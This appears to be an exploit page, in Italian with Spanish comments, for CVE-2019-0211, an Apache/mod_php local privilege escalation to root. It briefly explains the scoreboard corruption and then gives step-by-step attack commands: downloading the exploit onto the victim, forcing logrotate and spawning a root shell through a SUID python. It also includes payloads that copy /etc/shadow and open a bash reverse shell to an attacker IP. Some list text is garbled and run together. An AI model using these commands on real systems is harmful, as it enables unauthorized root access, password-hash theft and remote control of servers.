
Exploit di escalation dei privilegi locale per CVE-2019-0211 che colpisce Apache HTTP Server 2.4.17-2.4.38 con mod_php. Sfrutta un UAF in PHP per corrompere il scoreboard di Apache ed eseguire comandi arbitrari come root tramite un graceful restart.
CVE-2019-0211 è una vulnerabilità di escalation dei privilegi locale che colpisce Apache HTTP Server tra le versioni 2.4.17 e 2.4.38 con mod_prefork e mod_php (o PHP-FPM).
La vulnerabilità consente a un attaccante con una shell come www-data di escalare a root tramite una combinazione di Use-After-Free (UAF) in PHP e corruzione del scoreboard di Apache. Quando Apache esegue un graceful restart (ad esempio, tramite logrotate alle 6:25 AM), esegue child_init() prima di rilasciare i privilegi. Se riusciamo a corrompere il puntatore a questa funzione, possiamo far sì che Apache esegua un comando arbitrario come root.
CVSS 3.1: 7.8 (ALTA) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Apache utilizza una regione di memoria condivisa chiamata scoreboard dove ogni processo figlio worker ha una struttura process_score con un puntatore bucket a prefork_child_bucket. Questo bucket contiene un apr_proc_mutex_t con puntatori a funzioni (meth->child_init()).
Quando Apache esegue un graceful restart (trigger naturale alle 6:25 AM tramite logrotate), chiama child_init() prima di rilasciare i privilegi. L'exploit:
DateInterval e serializzazione JSON/proc/self/maps per localizzare lo scoreboard (SHM in /dev/zero)all_buckets nella memoria di Apachemeth->child_init() a system()Charles Fol — @cfreal_
Blogpost originale: CARPE DIEM — CVE-2019-0211 Apache Local Root
www-data sul server.php in una directory servita da Apache# 1. Subir el exploit al servidor vulnerable
# Desde tu máquina atacante:
python3 -m http.server 8080
# En el servidor (como www-data):
cd /var/www/html
wget http://TU_IP:8080/carpediem.php
# 2. Ejecutar el exploit
curl http://localhost/carpediem.php
# 3. Esperar a que Apache haga graceful restart
# Opción A) Esperar a las 6:25 AM (logrotate automático)
# Opción B) Forzar logrotate si tienes permisos:
sudo /usr/sbin/logrotate /etc/logrotate.conf --force
# 4. Verificar que python3.5 ahora es SUID root
ls -la /usr/bin/python3.5
# Output esperado: -rwsr-sr-x 2 root root ...
# 5. Escalar a root
python3.5 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Puoi cambiare il comando che viene eseguito come root usando il parametro cmd:
# Ejemplo: hacer una copia de /etc/shadow
curl "http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/"
# Ejemplo: reverse shell
curl "http://localhost/carpediem.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/TU_IP/PUERTO+0>%261'"
Più workers = maggiore tasso di successo.
/proc/self/maps tramite hidef o AppArmor/SELinux| Campo | Valore |
|---|
| CVE | CVE-2019-0211 |
| Prodotto | Apache HTTP Server |
| Versioni interessate | 2.4.17 – 2.4.38 |
| Tipo | Local Privilege Escalation (CWE-269) |
| Requisito | Shell come www-data, Apache con mod_php, MPM prefork/worker/event |
| CVSS 3.1 | 7.8 ALTA |
| Patch | Apache 2.4.39 |
| Workers |
|---|
| Successo |
|---|
| Tentativi |
|---|
| Fallimenti |
|---|
| 5 (default) | 87% | 177 | 26 |
| 8 | 89% | 60 | 8 |
| 10 | 95% | 70 | 4 |